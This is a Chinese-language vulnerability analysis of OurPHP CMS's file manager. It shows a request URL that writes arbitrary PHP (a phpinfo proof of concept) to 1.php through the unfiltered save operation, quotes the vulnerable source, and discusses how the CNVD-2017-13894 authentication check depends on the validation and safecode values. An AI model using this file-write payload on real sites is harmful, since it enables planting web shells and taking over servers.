0x00 Payload
1
| /client/manage/ourphp_filebox.php?op=save&encode=UTF-8&fename=1.php&ncontent=<?php phpinfo(); ?>
|
在登陆后台后,可直接上传文件。
代码分析
/ourphp/client/manage/ourphp_filebox.php 694行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| function save($ncontent, $fename, $encode) { global $meurl,$folder; if (!$fename == "") { maintop("编辑"); $file = iconv("UTF-8", "GBK", $folder.$fename); $ydata = stripslashes($ncontent); if($encode!=="UTF-8" && $encode!=="ASCII"){ $ydata = iconv($encode, "UTF-8", $ydata); }
if(file_put_contents($file, $ydata)) { echo "<div class='box'>文件 <a href=\"".$folder.$fename."\" target=\"_blank\">".$folder.$fename."</a> 保存成功!\n" ."请选择 <a href=\"".$meurl."?op=home&folder=".$_SESSION['folder']."\">返回文件管理</a> 或者 <a href=\"".$meurl."?op=edit&fename=".$fename."&folder=".$folder."\">继续编辑</a></div>\n"; $fp = null; }else{ echo "<span class='error'>文件保存出错!</span>\n" ." <a href=\"".$meurl."?op=home&folder=".$_SESSION['folder']."\">返回文件管理</a>\n"; } }else{ home(); } }
|
函数调用位置:
1 2 3 4 5
| switch ($op){ …… case "save": save($_REQUEST['ncontent'], $_REQUEST['fename'], $_REQUEST['encode']); break;
|
op参数位置:
1 2 3 4 5 6
| if(isset($_REQUEST['op'])){ $op = $_REQUEST['op']; session_start(); }else{ $op = 'home'; }
|
所有参数全部都是request到的,也没有经过过滤函数,就直接拼接到了字符串中,进行了文件读写,保存。
CNVD-2017-13894是前台漏洞,但是我并没有找到如何绕过验证。
1 2 3 4 5 6 7 8 9 10 11
| if (@$_GET['validation'] == $ourphp['validation'] && $_GET['code'] == $ourphp['safecode']){ $_SESSION['ourphp_outtime'] = time() + 3600; $_SESSION['ourphp_out'] = "ourphp"; }else{ if(isset($_SESSION['ourphp_out'])){ $filefolder = str_replace('\\','/',WEB_ROOT.$ourphp['webpath']); }else{ include 'ourphp_checkadmin.php'; $filefolder = str_replace('\\','/',WEB_ROOT.$ourphp['webpath']."templates/"); } }
|
这里验证了validation和safecode,validation是ourphp的口令码,safecode是随机生成的32位的安全码,如果有这两个字符串也可以绕过验证。